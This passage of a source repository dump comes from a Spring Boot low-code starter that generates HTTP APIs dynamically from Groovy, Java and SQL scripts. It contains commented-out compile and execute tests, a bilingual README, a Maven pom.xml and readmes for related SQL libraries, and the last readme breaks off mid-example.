    "content": "//package io.github.wujun728.stater.groovy;\n//\n//import org.junit.Before;\n//import org.junit.Test;\n//import org.junit.runner.RunWith;\n//import org.springframework.beans.factory.annotation.Autowired;\n//import org.springframework.test.context.ContextConfiguration;\n//import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;\n//import org.springframework.test.context.web.WebAppConfiguration;\n//import org.springframework.test.web.servlet.MockMvc;\n//import org.springframework.test.web.servlet.MvcResult;\n//import org.springframework.test.web.servlet.setup.MockMvcBuilders;\n//import org.springframework.web.context.WebApplicationContext;\n//\n//import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post;\n//import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;\n//\n///**\n// *  groovy 脚本引擎测试\n// */\n//@RunWith(SpringJUnit4ClassRunner.class)\n//@WebAppConfiguration\n//@ContextConfiguration(classes = ApiGroovyScriptConfiguration.class)\n//public class GroovyScriptControllerTest {\n//    private MockMvc mockMvc;\n//    @Autowired\n//    private WebApplicationContext context;\n//    @Autowired\n//\n//    @Before\n//    public void setup() {\n//        this.mockMvc = MockMvcBuilders.webAppContextSetup(context).build();\n//    }\n//\n//    @Test\n//    public void test() throws Exception {\n//        String groovyScript = \"spring.getBean(\\\"scriptEngineManager\\\").toString()\";\n//        MvcResult mvcResult = mockMvc.perform(post(\"/groovy\").param(\"script\", groovyScript))\n//                .andExpect(status().isOk())\n//                .andReturn();\n//        System.out.println(mvcResult.getResponse().getContentAsString());\n//    }\n//}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/test/java/io/github/wujun728/stater/service/CompileTest.java",
    "content": "//package io.github.wujun728.stater.service;\n//\n//import io.github.wujun728.compile.compile.StringSourceCompilerExtend;\n//\n//import javax.tools.Diagnostic;\n//import javax.tools.DiagnosticCollector;\n//import javax.tools.JavaFileObject;\n//import java.util.List;\n//import java.util.Locale;\n//\n//public class CompileTest {\n//\n//    public static void main(String[] args) {\n//        testLib();\n//    }\n//\n//    public static void testLib(){\n//\n//\n//       String str =  System.getProperty(\"java.home\");\n//       System.out.println(str);\n//\n//\n//        System.out.println(\"===========os.name:\"+System.getProperties().getProperty(\"os.name\"));\n//\n//        DiagnosticCollector<JavaFileObject> compileCollector = new DiagnosticCollector<>(); // 编译结果收集器\n//        String source = \"import lombok.Data;\\n\" + \"import org.beetl.sql.annotation.entity.AutoID;\\n\"\n//                + \"import org.beetl.sql.annotation.entity.Table;\\n\" + \"\\n\" + \"/**\\n\" + \" * 角色\\n\" + \" */\\n\"\n//                + \"@Table(name = \\\"role\\\")\\n\" + \"@Data\\n\" + \"public class CoreRole {\\n\" + \"\\n\" + \"\\t@AutoID\\n\"\n//                + \"\\tprotected Long id;\\n\" + \"\\n\" + \"\\tprivate String name;\\n\" + \"\\n\" + \"\\tprivate String type;\\n\"\n//                + \"\\n\" + \"\\tprivate String createDate;\\n\" + \"\\n\" + \"\\tpublic static  void main(String[] args){\\n\"\n//                + \"\\t\\tSystem.out.println(new CoreRole().getId());\\n\" + \"\\t}\\n\" + \"\\n\" + \"}\";\n//        String source1 = \"public class Man {\\n\" +\n//                \"\\tpublic static void main(String[] args) throws InterruptedException {\\n\" +\n//                \"\\t\\tSystem.out.println(\\\"hello world 1\\\");\\n\" +\n//                \"\\t\\tThread.sleep(5000);\\n\" +\n//                \"\\t\\tSystem.out.println(\\\"hello world 1\\\");\\n\" +\n//                \"\\t}\\n\" +\n//                \"}\";\n//\n//        StringSourceCompilerExtend compilerExtend = new StringSourceCompilerExtend();\n//        // 编译源代码\n//        boolean result = compilerExtend.compile(source1, compileCollector);\n//\n//\n//\n//        // 编译不通过，获取并返回编译错误信息\n//        if (!result) {\n//            // 获取编译错误信息\n//            List<Diagnostic<? extends JavaFileObject>> compileError = compileCollector.getDiagnostics();\n//            StringBuilder compileErrorRes = new StringBuilder();\n//            for (Diagnostic diagnostic : compileError) {\n//                compileErrorRes.append(\"Compilation error at \");\n//                compileErrorRes.append(diagnostic.getLineNumber());\n//                compileErrorRes.append(\".\");\n//                compileErrorRes.append(diagnostic.getMessage(Locale.US));\n//                compileErrorRes.append(System.lineSeparator());\n//            }\n//            System.out.println(compileErrorRes.toString());\n//        }\n//    }\n//}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/test/java/io/github/wujun728/stater/service/ExecuteStringSourceServiceTest.java",
    "content": "//package io.github.wujun728.stater.service;\n//\n//import io.github.wujun728.compile.service.ExecuteStringSourceService;\n//\n//public class ExecuteStringSourceServiceTest {\n//\n//    public static void main(String[] args) {\n//        execute();\n//    }\n//    //@Autowired\n//\n//\n//    public static void execute() {\n//        ExecuteStringSourceService executeStringSourceService = new ExecuteStringSourceService();\n//        String source = \"public class Man {\\n\" +\n//                \"\\tpublic static void main(String[] args) {\\n\" +\n//                \"\\t\\tSystem.out.println(\\\"hello world 0\\\");\\n\" +\n//                \"\\t\\tSystem.out.println(\\\"hello world 1\\\");\\n\" +\n//                \"\\t\\tSystem.out.println(\\\"hello world 2\\\");\\n\" +\n//                \"\\t\\tSystem.out.println(\\\"hello world 3\\\");\\n\" +\n//                \"\\t\\tSystem.out.println(\\\"hello world 4\\\");\\n\" +\n//                \"\\t}\\n\" +\n//                \"}\";\n//        String source1 = \"public class Man {\\n\" +\n//                \"\\tpublic static void main(String[] args) throws InterruptedException {\\n\" +\n//                \"\\t\\tSystem.out.println(\\\"hello world 1\\\");\\n\" +\n//                \"\\t\\tThread.sleep(5000);\\n\" +\n//                \"\\t\\tSystem.out.println(\\\"hello world 1\\\");\\n\" +\n//                \"\\t}\\n\" +\n//                \"}\";\n//        String source2 = \"public class Man {\\n\" +\n//                \"\\tpublic static void main(String[] args) {\\n\" +\n//                \"\\t\\tSystem.out.println(\\\"hello world 2\\\");\\n\" +\n//                \"\\t\\tSystem.out.println(\\\"hello world 2\\\");\\n\" +\n//                \"\\t}\\n\" +\n//                \"}\";\n//\n//        // 测试 Scanner in = new Scanner(System.in);\n//        String sourceTestSystemIn = \"import java.util.Scanner;\\n\" +\n//                \"public class Run {\\n\" +\n//                \"\\tpublic static void main(String[] args) {\\n\" +\n//                \"\\t\\tScanner in = new Scanner(System.in);\\n\" +\n//                \"\\t\\tSystem.out.println(in.nextInt());\\n\" +\n//                \"\\t\\tSystem.out.println(in.nextDouble());\\n\" +\n//                \"\\t\\tSystem.out.println(in.next());\\n\" +\n//                \"\\t}\\n\" +\n//                \"}\";\n//\n//\t\tString lombokSource = \"import lombok.Data;\\n\" + \"import org.beetl.sql.annotation.entity.AutoID;\\n\"\n//\t\t\t\t+ \"import org.beetl.sql.annotation.entity.Table;\\n\" + \"\\n\" + \"/**\\n\" + \" * 角色\\n\" + \" */\\n\"\n//\t\t\t\t+ \"@Table(name = \\\"role\\\")\\n\" + \"@Data\\n\" + \"public class CoreRole {\\n\" + \"\\n\" + \"\\t@AutoID\\n\"\n//\t\t\t\t+ \"\\tprotected Long id;\\n\" + \"\\n\" + \"\\tprivate String name;\\n\" + \"\\n\" + \"\\tprivate String type;\\n\"\n//\t\t\t\t+ \"\\n\" + \"\\tprivate String createDate;\\n\" + \"\\n\" + \"\\tpublic static  void main(String[] args){\\n\"\n//\t\t\t\t+ \"\\t\\tSystem.out.println(new CoreRole().getId());\\n\" + \"\\t}\\n\" + \"\\n\" + \"}\";\n//\n//        String systemIn = \"1 1.5 \\n fsdfasdfasdf\";\n//\n//        // Test2\n//        String sourceTestSystemIn1 = \"import java.util.*;\\n\" +\n//                \"public class Run {\\n\" +\n//                \"\\tpublic static void main(String[] args) {\\n\" +\n//                \"\\t\\tScanner in = new Scanner(System.in);\\n\" +\n//                \"\\t}\\n\" +\n//                \"}\";\n//\n//        String systemIn1 = \"\";\n//\n//////        new Thread() {\n//////            @Override\n//////            public void run() {\n//////                System.out.println(executeStringSourceService.execute(source1));\n//////            }\n//////        }.start();\n////\n//////        System.out.println(executeStringSourceService.execute(source1));\n////\n////        new Thread() {\n////            @Override\n////            public void run() {\n////                System.out.println(\"begin\");\n////                String res = executeStringSourceService.execute(source2);\n////                System.out.println(res);\n////                System.out.println(\"end\");\n////            }\n////        }.start();\n//\n//        String res = executeStringSourceService.execute(source, systemIn1);\n//        System.out.println(\"---------- Begin ----------\");\n//        System.out.print(res);\n//        System.out.println(\"----------- End -----------\");\n//    }\n//}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/README.md",
    "content": "# jun-groovy-api-spring-boot-starter\n\njun-groovy-api-spring-boot-starter是低代码开发平台开发stater基座，基于SpringBoot项目都可以嵌入支持。项目基于SpringBoot+Groovy+SQL动态生成API并动态发布，且发布后可动态执行groovy脚本及SQL脚本的Stater。提供在线执行动态程序脚热加载本及动态生成API并执行的功能。支持动态注册Mapping，动态生成类及源码并动态编译生成Bean，**可动态生成HTTP接口。支持在线编辑写好SQL或者Java源码、Groovy源码、Python源码（TODO），JavaScript源码（TODO）、Shell脚本，后即可快速生成Rest接口对外提供服务**，同时支持服务在线热加载在线编辑替换逻辑，还将提供了一键生成CRUD通用接口方法，减少通用接口的SQL编写，让开发人员专注更复杂的业务逻辑实现。支持有JDBC驱动的的数据源(Java支持的都可以支持)。后续将集成微服务注册中心、网关支持接口转发、黑白名单、权限认证、限流、缓存、监控等提供一站式API服务功能。\n\n说明：本项目仅是一个Stater，无法独立运行（通用模块），需要嵌入到jun_springboot_api_service中jun_springboot_groovy_api独立模块（定制模块）才能运行。\n\nThe project is based on SpringBoot+Groovy to dynamically generate APIs and publish them, and can dynamically execute Groovy scripts and SQL scripts' Staters after publication. Provide online execution of dynamic scripts class and hot loader and dynamic API generation and execution functions.\n\n\n\n# 使用教程\n\n- 在自己的maven项目中**引入maven坐标（已发布中央仓库）**\n```xml\n<dependency>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun-groovy-api-spring-boot-starter</artifactId>\n    <version>1.0.2-RELEASE</version>\n</dependency>\n```\n\n- 核心api - **Step1-加载源码生成类及SpringBean**\n```\nClass clazz = groovyClassLoader.parseClass(groovyInfo.getGroovyContent());\nBeanDefinitionBuilder builder = BeanDefinitionBuilder.genericBeanDefinition(clazz);\nBeanDefinition beanDefinition = builder.getBeanDefinition();\nregistry.registerBeanDefinition(groovyInfo.getBeanName(), beanDefinition);\n```\n\n- 核心api - **Step2-动态生成SpringMapping映射HTTP服务及接口（无需手写Mapping接口）**\n```\n// 取消历史注册\nrequestMappingHandlerMapping.unregisterMapping(mappingInfo);\n// 重新注册mapping\nrequestMappingHandlerMapping.registerMapping(mappingInfo, mappingFactory, targetMethod);\n}\n```\n\n\n- 核心api - **Step3-执行分N种实现，目前实现三种；SQL脚本模式、Java源码模式、Groovy源码**\nPython源码（TODO），NodeJS源码（TODO），Shell(TODO)、PHP(TODO)、PowerShell(TODO)等类型脚本(JVM支持的都可以支持), 具体见注入mapping的method方法；\n```\n// 源码解析并执行\nswitch (config.getScriptType()) {\ncase \"SQL\":\n\tdata = doSQLProcess(config, request, response);\n\tbreak;\ncase \"Class\":\n\tdata = doGroovyProcess(config, request, response);\n\tbreak;\ncase \"Groovy\": \n\tdata = doGroovyProcess(config, request, response);\n\tbreak;\ncase \"Jython\": // TODO\n\tdata = doPythonProcess(config, request, response);\n\tbreak; // TODO\ncase \"Javascript\": // TODO\n\tdata = doNodeJSProcess(config, request, response);\ncase \"Jruby\":// TODO\n\tdata = doRubyProcess(config, request, response);\n\tbreak;\ndefault:\n\tbreak;\n}\n\n// SQL源码执行（SQL脚本支持mybatis写法及原生写法）\nSqlMeta sqlMeta = JdbcUtil.getEngine().parse(apiSql.getSqlText(), sqlParam); \nObject data = JdbcUtil.executeSql(connection, sqlMeta.getSql(), sqlMeta.getJdbcParamValues());\ndataList.add(data);\n\n// Java源码执行（实现IExecutor接口，支持定制不同的接口，一般情况下也够用了）\nString beanName = GroovyInnerCache.getByPath(config.getPath());//请求Path映射Bean名称\nMap<String, Object> params = getParams(request, config);//获取Request参数转Map\nIExecutor bean = SpringUtil.getBean(beanName);//调用Bean\nreturn bean.execute(params);//返回Bean结果集\n\n//其他源码执行（使用ScriptEngineManager来执行），举例JS如下，其他的还没来得及整,TODO中\nScriptEngineManager manager = new ScriptEngineManager();\nScriptEngine engine = manager.getEngineByName(\"javascript\");\n//向engine中存值\nengine.put(\"str\", \"jsEnginePutTest\");\nengine.eval(\"var output ='' ;for (i = 0; i <= str.length; i++) {  output = str.charAt(i) + output }\");     \n\n```\n\n# 示例\n\n**Step1-启动的时候会读取api_config表中的记录并注册为Bean**\n\n```\n\n开始解析groovy脚本...\nc.g.w.e.g.core.bean.GroovyDynamicLoader  : 当前groovyInfo加载完成,className-testdataresult,path-/api/test/testdataresult,beanName-testdataresult,BeanType-Class：\nc.g.w.e.g.core.bean.GroovyDynamicLoader  : 当前groovyInfo加载完成,className-test22Bean1,path-/mobile/api/test22,beanName-test22Bean1,BeanType-Class：\n结束解析groovy脚本...，耗时：1398\n\n```\n\n- **Step2，择取上面启动的两个示例：SQL示例（api_config里面插一条SQL类型的接口数据就可以了）**\n### SQL开发及定义\n\n**Step1，在数据库新增SQL接口**\n\n![img_1.png](doc/sql1.png)\n\n**Step2，执行SQL接口**\n\n![img_1.png](doc/sql2.png)\n\n**Step3、在线编辑接口及测试接口（TODO）**\n\n![img_1.png](doc/sql3.png)\n\n#### Java源码接口开发\n\n**Step1，在API_CONFIG表中新增一条数据映射成下面的类的解析，SQLyog数据及类的源码展示，具体如下**\n\n![img_2.png](doc/java1.png)\n\n![img_2.png](doc/java1-1.png)\n\n**Step2，在POSTMAN中通过PATH，调用这个类，并Java源码解析后执行结果集返回的数据**\n\n![img_2.png](doc/java2.png)\n\n**Step3，不重启JVM，手动修改源码**（即使修改幅度非常大也没问题，只要能编译成功就可以）\n\n![img_2.png](doc/java21.png)\n\n**Step4，调用缓存刷新Refresh接口，重新初始化Bean及缓存**\n\n![img_2.png](doc/java3.png)\n\n**Step5，在POSTMAN中通过PATH，再次调用这个类，执行结果集返回的数据是最新编译的**\n\n![img_2.png](doc/java4.png)"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun-groovy-api-spring-boot-starter</artifactId>\n\t<version>1.0.25</version>\n\t<name>jun-groovy-api-spring-boot-starter</name>\n\t<description>jun-groovy-api 动态API生成开发，可动态生成API并执行API</description>\n\t<url>https://github.com/wujun728/jun-spring-boot-starter/jun-groovy-api-spring-boot-starter</url>\n\n\t<properties>\n\t\t<java.version>1.8</java.version>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <maven.compiler.source>1.8</maven.compiler.source>\n        <maven.compiler.target>1.8</maven.compiler.target>\n        <jun.version>1.0.25</jun.version>\n        <spring-boot.version>2.5.14</spring-boot.version>\n        <spring-cloud.version>2020.0.6</spring-cloud.version>\n        <guava.version>19.0</guava.version>\n        <groovy.version>2.5.4</groovy.version>\n        <mica-auto.version>2.3.3</mica-auto.version>\n        <hutool.version>5.8.41</hutool.version>\n        <freemarker.version>2.3.32</freemarker.version>\n        <commons-io.version>2.11.0</commons-io.version>\n        <junit.version>4.13.2</junit.version>\n        <mockito.version>3.12.4</mockito.version>\n        <h2.version>1.4.200</h2.version>\n        <spring-framework.version>5.3.39</spring-framework.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>io.github.wujun728</groupId>\n\t\t\t<artifactId>jun-common-base</artifactId>\n            <version>${jun.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>io.github.wujun728</groupId>\n\t\t\t<artifactId>jun-db-activerecord</artifactId>\n            <version>${jun.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>io.github.wujun728</groupId>\n\t\t\t<artifactId>jun-mybatis-sql-engine</artifactId>\n            <version>${jun.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.google.guava</groupId>\n\t\t\t<artifactId>guava</artifactId>\n            <version>${guava.version}</version>\n\t\t</dependency>\n        <!--<dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n         <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-configuration-processor</artifactId>\n            <optional>true</optional>\n        </dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-validation</artifactId>\n\t\t</dependency>\n\t\t <dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-jdbc</artifactId>\n\t\t</dependency>\n\t\t <dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-aop</artifactId>\n\t\t</dependency>-->\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-jdbc</artifactId>\n            <version>${spring-framework.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-web</artifactId>\n            <version>${spring-framework.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-context</artifactId>\n            <version>${spring-framework.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-aop</artifactId>\n            <version>${spring-framework.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-webmvc</artifactId>\n            <version>${spring-framework.version}</version>\n        </dependency>\n        <!-- 插件内的 dependencies 节点修改如下，其他配置和方式1一致 -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-autoconfigure</artifactId>\n            <version>2.5.14</version>\n            <scope>provided</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-configuration-processor</artifactId>\n            <version>2.5.14</version>\n            <scope>provided</scope>\n        </dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.codehaus.groovy</groupId>\n\t\t\t<artifactId>groovy</artifactId>\n            <version>${groovy.version}</version>\n\t\t</dependency>\n\t\t<!--<dependency>\n\t\t\t<groupId>com.alibaba.fastjson2</groupId>\n\t\t\t<artifactId>fastjson2</artifactId>\n\t\t\t<version>2.0.37</version>\n\t\t</dependency>-->\n\t\t<dependency>\n\t\t\t<groupId>net.dreamlu</groupId>\n\t\t\t<artifactId>mica-auto</artifactId>\n            <version>${mica-auto.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>cn.hutool</groupId>\n\t\t\t<artifactId>hutool-all</artifactId>\n            <version>${hutool.version}</version>\n\t\t</dependency>\n        <dependency>\n            <groupId>org.freemarker</groupId>\n            <artifactId>freemarker</artifactId>\n            <version>${freemarker.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>commons-io</groupId>\n            <artifactId>commons-io</artifactId>\n            <version>${commons-io.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <version>${junit.version}</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.mockito</groupId>\n            <artifactId>mockito-core</artifactId>\n            <version>${mockito.version}</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>com.h2database</groupId>\n            <artifactId>h2</artifactId>\n            <version>${h2.version}</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <scope>test</scope>\n        </dependency>\n    </dependencies>\n\t\n\t<!-- 依赖声明 -->\n    <dependencyManagement>\n        <dependencies>\n            <!-- SpringBoot的依赖配置-->\n            <dependency>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-dependencies</artifactId>\n               \t\t<version>${spring-boot.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework.cloud</groupId>\n                <artifactId>spring-cloud-dependencies</artifactId>\n                <version>${spring-cloud.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n        </dependencies>\n    </dependencyManagement>\n\n\t<developers>\n\t\t<developer>\n\t\t\t<name>wujun728</name>\n\t\t\t<email>wujun728@163.com</email>\n\t\t\t<url>https://github.com/wujun728/jun-spring-boot-starter/jun-api-online-spring-boot-starter</url>\n\t\t</developer>\n\t</developers>\n\n\t<scm>\n\t\t<url>https://github.com/wujun728/jun-spring-boot-starter/jun-api-online-spring-boot-starter.git</url>\n\t\t<connection>scm:git:https://github.com/wujun728/jun-spring-boot-starter/jun-api-online-spring-boot-starter.git</connection>\n\t\t<developerConnection>scm:git:https://github.com/wujun728/jun-spring-boot-starter/jun-api-online-spring-boot-starter.git</developerConnection>\n\t</scm>\n\n\t<licenses>\n\t\t<license>\n\t\t\t<name>The Apache Software License, Version 2.0</name>\n\t\t\t<url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n\t\t\t<distribution>repo</distribution>\n\t\t</license>\n\t</licenses>\n\n\t<distributionManagement>\n\t\t<snapshotRepository>\n\t\t\t<id>oss</id>\n\t\t\t<url>https://s01.oss.sonatype.org/content/repositories/snapshots</url>\n\t\t</snapshotRepository>\n\t\t<repository>\n\t\t\t<id>oss</id>\n\t\t\t<url>https://s01.oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n\t\t</repository>\n\t</distributionManagement>\n\n\t<build>\n\t\t<plugins>\n\t\t\t<!-- Source -->\n\t\t\t<!---->\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-source-plugin</artifactId>\n\t\t\t\t<executions>\n\t\t\t\t\t<execution>\n\t\t\t\t\t\t<phase>package</phase>\n\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t<goal>jar-no-fork</goal>\n\t\t\t\t\t\t</goals>\n\t\t\t\t\t</execution>\n\t\t\t\t</executions>\n\t\t\t\t<version>3.2.1</version>\n\t\t\t</plugin>\n\t\t\t<!-- Javadoc --><!--\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-javadoc-plugin</artifactId>\n\t\t\t\t<version>2.9.1</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<show>private</show>\n\t\t\t\t\t<nohelp>true</nohelp>\n\t\t\t\t\t<charset>UTF-8</charset>\n\t\t\t\t\t<encoding>UTF-8</encoding>\n\t\t\t\t\t<docencoding>UTF-8</docencoding>\n\t\t\t\t\t<additionalparam>-Xdoclint:none</additionalparam>\n\t\t\t\t\t&lt;!&ndash; TODO 临时解决不规范的javadoc生成报错,后面要规范化后把这行去掉 &ndash;&gt;\n\t\t\t\t</configuration>\n\t\t\t\t<executions>\n\t\t\t\t\t<execution>\n\t\t\t\t\t\t<phase>package</phase>\n\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t<goal>jar</goal>\n\t\t\t\t\t\t</goals>\n\t\t\t\t\t</execution>\n\t\t\t\t</executions>\n\t\t\t</plugin>-->\n\t\t\t<!-- GPG --><!--\n\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-gpg-plugin</artifactId>\n\t\t\t\t<version>1.6</version>\n\t\t\t\t<executions>\n\t\t\t\t\t<execution>\n\t\t\t\t\t\t<phase>verify</phase>\n\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t<goal>sign</goal>\n\t\t\t\t\t\t</goals>\n\t\t\t\t\t</execution>\n\t\t\t\t</executions>\n\t\t\t</plugin>-->\n\t\t\t<!--Compiler -->\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t\t<version>3.0</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<source>1.8</source>\n\t\t\t\t\t<target>1.8</target>\n\t\t\t\t\t<fork>true</fork>\n\t\t\t\t\t<verbose>true</verbose>\n\t\t\t\t\t<encoding>UTF-8</encoding>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t\t<!--Release -->\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-release-plugin</artifactId>\n\t\t\t\t<version>2.5.1</version>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\n</project>"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/readme2.md",
    "content": "# dbapi-spring-boot-starter\n\n## 概述\n\n- dbapi-spring-boot-starter 是接口快速开发工具，可以极大的降低代码量，类似于mybatis-plus框架，不需要再编写mapper接口、resultMap、resultType、javaBean(数据库表对应的java实体)\n- 通过xml编写sql和数据库配置，可以快速开发接口，支持多数据源，支持动态sql，支持mysql/postgresql/oracle/sqlserver/doris/hive/impala/clickhouse等等\n- dbapi-spring-boot-starter 是[DBAPI开源框架](https://github.com/freakchick/db-api) 的spring boot集成\n\n## 对比mybatis优劣\n\n- 如果使用mybatis框架的话，我们要编写 mapper java接口、mapper.xml、数据库表对应的javaBean实体类。\n  当join查询的时候还要封装resultMap(xml)和java dto实体类。\n- 如果使用本框架，相当于只需要编写mapper.xml中的sql脚本，参数类型返回类型都是自动的。极大的减少代码量。\n\n## 适用场景\n\n- 接口中没有复杂逻辑，都是sql执行，尤其适用于报表类应用\n- 需要多种数据源\n\n## 官方文档\n\n[官方文档](https://starter.51dbapi.com)\n\n## 引入依赖\n\n```xml\n\n<dependency>\n    <groupId>com.gitee.freakchicken</groupId>\n    <artifactId>dbapi-spring-boot-starter</artifactId>\n    <version>1.1.0</version>\n</dependency>\n```\n\n## 代码案例\n[dbapi-spring-boot-starter-demo](https://gitee.com/freakchicken/dbapi-spring-boot-starter-demo.git)\n\n## 联系作者：\n\n### wechat：\n\n<div style=\"text-align: center\"> \n<img src=\"https://freakchicken.gitee.io/images/kafkaui/wechat.jpg\" width = \"30%\" />\n</div>\n\n### 捐赠：\n\n如果您喜欢此项目，请给捐助作者一杯咖啡\n<div style=\"text-align: center\">\n<img align=\"center\" height=\"200px\" src=\"https://freakchicken.gitee.io/images/alipay.png\"/>\n<img align=\"center\" height=\"200px\" src=\"https://freakchicken.gitee.io/images/wechatpay.png\"/>\n</div>"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/readme3.md",
    "content": "# 概述\n\n- jun-db-activerecord是一个集ActiveRecord及动态sql解析的数据层操作插件，抽取了mybatis源码SQL解析模块及jfinal的db+record模块，\n- 1.1、相当于mybatis中的动态sql解析功能的抽取，主要是各种标签的XML解析，用法跟Mybatis的XML的SQL写法是一样的\n- 1.2、类似mybatis的功能，解析带标签的动态sql，生成`?`占位符的sql和`?`对应的参数列表。\n- 1.3、集成了ActiveRecord模型，完美解决弱类型的数据层组件，。\n- 支持 `<if>` `<foreach>` `<where>` `<set>` `<trim>`\n\n# 使用教程\n\n- 在自己的maven项目中引入maven坐标\n```xml\n<dependency>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun-db-activerecord</artifactId>\n    <version>${jun.version}</version>\n</dependency>\n```\n\n\n\n- 核心api -- Db + Record模式\n```\n\n1､常见用法\nDb类及其配套的Record类，提供了在Model类之外更为丰富的数据库操作功能。使用Db与Record类时，无需对数据库表进行映射，Record相当于一个通用的Model。以下为Db + Record模式的一些常见用法：\n\n// 创建name属性为James,age属性为25的record对象并添加到数据库\nRecord user = new Record().set(\"name\", \"James\").set(\"age\", 25);\nDb.save(\"user\", user);\n \n// 删除id值为25的user表中的记录\nDb.deleteById(\"user\", 25);\n \n// 查询id值为25的Record将其name属性改为James并更新到数据库\nuser = Db.findById(\"user\", 25).set(\"name\", \"James\");\nDb.update(\"user\", user);\n \n// 获取user的name属性\nString userName = user.getStr(\"name\");\n// 获取user的age属性\nInteger userAge = user.getInt(\"age\");\n \n// 查询所有年龄大于18岁的user\nList<Record> users = Db.find(\"select * from user where age > 18\");\n \n// 分页查询年龄大于18的user,当前页号为1,每页10个user\nPage<Record> userPage = Db.paginate(1, 10, \"select *\", \"from user where age > ?\", 18);\n```\n\n\n\n\n\n- 核心api -- SQL动态参数模式\n```\nDynamicSqlEngine engine = new DynamicSqlEngine();\nSqlMeta sqlMeta = engine.parse(sql, map);\nObject data = SqlEngine.executeSql(connection, apiSql.getSqlText(), sqlParam);\n```\n- 示例\n```\n@Test\npublic void testForeachIF() {\n\tDynamicSqlEngine engine = new DynamicSqlEngine();\n\tString sql = (\"select * from user where name in <foreach collection='list' index='idx' open='(' separator=',' close=')'>#{item.name}== #{idx}<if test='id!=null'>  and id = #{id}</if></foreach>\");\n\tMap<String, Object> map = new HashMap<>();\n\n\tArrayList<model.User> arrayList = new ArrayList<>();\n\tarrayList.add(new model.User(10, \"zhangsan\"));\n\tarrayList.add(new model.User(11, \"lisi\"));\n\tmap.put(\"list\", arrayList.toArray());\n\tmap.put(\"id\", 100);\n\n\tSqlMeta sqlMeta = engine.parse(sql, map);\n\tSqlEngine.executeSql(connection, sql, map);\n\tSystem.out.println(sqlMeta.getSql());\n\tsqlMeta.getJdbcParamValues().forEach(System.out::println);\n}\n\n```\n\n- 示例执行结果：\n```\nselect * from user where name in  ( ? , 